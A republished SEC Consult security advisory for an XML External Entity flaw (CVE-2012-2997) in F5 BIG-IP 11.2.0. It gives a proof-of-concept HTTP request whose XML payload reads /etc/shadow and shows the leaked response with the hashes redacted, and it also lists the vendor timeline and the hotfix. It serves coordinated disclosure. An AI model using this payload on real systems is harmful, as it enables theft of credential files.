SEC Consult SA-20130122-0 :: F5 BIG-IP XML External Entity Injection vulnerability

2013-01-27T00:00:00
ID SECURITYVULNS:DOC:28978
Type securityvulns
Reporter Securityvulns
Modified 2013-01-27T00:00:00

Description

SEC Consult Vulnerability Lab Security Advisory < 20130122-0 >

          title: XML External Entity Injection &#40;XXE&#41;
        product: F5 BIG-IP

vulnerable version: <=11.2.0 fixed version: 11.2.0 HF3 11.2.1 HF3 CVE number: CVE-2012-2997 impact: Medium homepage: http://www.f5.com/ found: 2012-09-03 by: S. Viehbock SEC Consult Vulnerability Lab https://www.sec-consult.com =======================================================================

Vendor/product description:

"The BIG-IP product suite is a system of application delivery services that work together on the same best-in-class hardware platform or software virtual instance. From load balancing and service offloading to acceleration and security, the BIG-IP system delivers agility?and ensures your applications are fast, secure, and available."

URL: http://www.f5.com/products/big-ip/

Vulnerability overview/description:

An XML External Entity Injection (XXE) vulnerability exists in a BIG-IP component. This enables an authenticated attacker to download arbitrary files from the file system with the rights of the "apache" OS user. The BIG-IP configuration even allows access to the critical /etc/shadow file which contains the password hashes of users.

Proof of concept:

The following exploit shows how files can be extracted from the file system:

POST /sam/admin/vpe2/public/php/server.php HTTP/1.1 Host: bigip Cookie: BIGIPAuthCookie=VALID_COOKIE Content-Length: 143

<?xml version="1.0" encoding='utf-8' ?> <!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]> <message><dialogueType>&e;</dialogueType></message>

The response includes the content of the file:

<?xml version="1.0" encoding="utf-8"?> <message><dialogueType>any</dialogueType><status>generalError</status><command>any</command><accessPolicyName>any</accessPolicyName><messageBody><generalErrorText>Client has sent unknown dialogueType ' root:--hash--:15490:::::: bin::15490:::::: daemon::15490:::::: adm::15490:::::: lp::15490:::::: mail::15490:::::: uucp::15490:::::: operator::15490:::::: nobody::15490:::::: tmshnobody:*:15490:::::: admin:--hash--:15490:0:99999:7::: ...

Vulnerable / tested versions:

The vulnerability has been verified to exist in the F5 BIG-IP version 11.2.0. No modules have to be enabled for successful exploitation.

Vendor contact timeline:

2012-09-07: Contacting vendor - reqesting PGP/SMIME key. 2012-09-07: Vendor provides case number and PGP key. 2012-09-11: Sending advisory draft and proof of concept. 2012-09-20: Vendor has a fix for the vulnerability - will be released "with different hot fixes for different releases". 2012-11-21: Vendor announces that fix will be provided with 11.2.0 HF3 and 11.2.1 HF3. 2013-01-22: SEC Consult releases coordinated security advisory.

Solution:

Update to 11.2.0 HF3 or 11.2.1 HF3.

Patch information is also available at: http://support.f5.com/kb/en-us/solutions/public/14000/100/sol14138.html

Workaround:

No workaround available.

Advisory URL:

https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Unternehmensberatung GmbH

Office Vienna Mooslackengasse 17 A-1190 Vienna Austria

Tel.: +43 / 1 / 890 30 43 - 0 Fax.: +43 / 1 / 890 30 43 - 25 Mail: research at sec-consult dot com www.sec-consult.com

EOF S. Viehbock / @2013